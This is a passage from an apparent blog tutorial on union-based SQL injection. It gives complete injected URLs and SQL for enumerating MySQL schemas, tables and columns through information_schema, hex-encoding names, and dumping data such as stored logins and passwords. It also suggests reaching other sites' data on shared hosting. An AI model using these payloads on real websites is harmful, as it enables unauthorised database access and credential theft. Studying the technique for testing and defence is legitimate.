For our example lets assume there's only one additional schema called "frostyhacksblog" which is the default schema, there may be more. If you happen to get an extremely long list of schemas you may have hit the SQLi jackpot which is a hosting provider that shares a database among many websites, each with their own schema, if this has been set up with bad security you'll be able to read the database of a completely different website. It's possible the websites are also hosted on the same web server with the same IP address, you can use a reverse DNS lookup tool such as IPNeighbour to find what other websites these schemas might belong to.

Now we know the schema names we can enumerate the tables within them.

Enumerating tables

This works the same as enumerating schemas, we're selecting meta data about the database from the information_schema, this time from a table called "tables" so our target table name will be "information_schema.tables" and the column name is "table_name", we also want to specify what schema we want to select the list of tables from with the WHERE condition that the column "table_schema" contains our schema name, in our example this is frostyhacksblog. For example:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema = frostyhacksblog --
SQL

SELECT id, headline, news, author FROM news WHERE id =-51 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema = frostyhacksblog --

However there's problem using this, it will throw an error, under certain circumstances you may not be able to use the name of the schema as text, to solve this problem you'll have to hex encode the name. MySQL understands hex representations of values by preceding them with 0x and then the hex value.

You can use a free hex converter to convert values, the result of the conversion of frostyhacksblog is 66726f7374796861636b73626c6f67 and so the full hex representation becomes 0x66726f7374796861636b73626c6f67

Our query now looks like this:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema = 0x66726f7374796861636b73626c6f67 --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema = 0x66726f7374796861636b73626c6f67 --

If this executes correctly you'll get a list of tables separated by commas. It's worth noting that you may get a truncated list as the group_concat function has a limit set by the SQL server, the default limit is 1024 characters. There's more advanced ways to get around this limit but while you're learning the basics you can swap group_concat(table_name) for concat(table_name) which will return a single result, them use the LIMIT function to select the specific row you want, if you want row 20 you would use LIMIT 19,1 the final query would look like this:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,concat(table_name),3,4 from information_schema.tables WHERE table_schema = 0x66726f7374796861636b73626c6f67 LIMIT 20,1--

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,concat(table_name),3,4 from information_schema.tables WHERE table_schema = 0x66726f7374796861636b73626c6f67 LIMIT 20,1--

Remember that LIMIT is zero indexed, this means the first row is not 1 but 0, and so the 20th row would be 19, not 20. You can now enumerate all the tables, make a note of their names and what schema they're a part of.

Enumerating columns

Just like with schemas and tables we enumerate columns in a similar way, we read from a table called "columns" from the "information_schema" schema, and we select a field called "column_name", we switch the condition to be which table we're interested in. For example if we're interested in a table called "news" we'd first hex encode it to 0x6e657773 and then use the input:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(column_name),3,4 from information_schema.columns WHERE table_name = 0x6e657773 --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(column_name),3,4 from information_schema.columns WHERE table_name = 0x6e657773 --

This gives us a comma separated list of columns that exist in the table you picked. We now know the schemas, the tables and the columns and that's enough information to select the data we need.

Selecting data

Selecting the data you want is straight forward, it follows the same format as above, if you're selecting from the default schema (the one that database() returns) then you can reference the table by itself otherwise use schema.table format, there's no need to hex encode anything this time. Our input becomes

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(column1,column2,column3),3,4 from schema.table -- 

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(column1,column2,column3),3,4 from schema.table -- 

When selecting multiple columns the result will appended together, only the rows of results will be separated by commas, not the columns. To make the output more readable you can add additional characters to separate columns apart, you just need to  hex encode them, it's common to separate columns by colons (0x3a) and add a new line (0x0a) to the end, for example:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(column1,0x3a,column2,0x3a,column3,0x0a),3,4 from schema.table --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(column1,0x3a,column2,0x3a,column3,0x0a),3,4 from schema.table --

If we wanted to select data from our news table example we could select the news headline and news body like so:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(headline,0x3a,news,0x0a),3,4 from frostyhacksblog.news --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(headline,0x3a,news,0x0a),3,4 from frostyhacksblog.news --

This is kind of pointless since this content is already displayed to the news page, but it's only an example. You could select any other data from any other schema and table that web application has permissions to read, that might include other sensitive data such as a list of logins/passwords to the website, user data etc.

If you have any questions please post a comment and I'll be glad to help, please refrain from posting real world examples as they will just be deleted. Keep in mind that it's against the law to perform SQL injection on websites which you do not own or have explicit permission to test.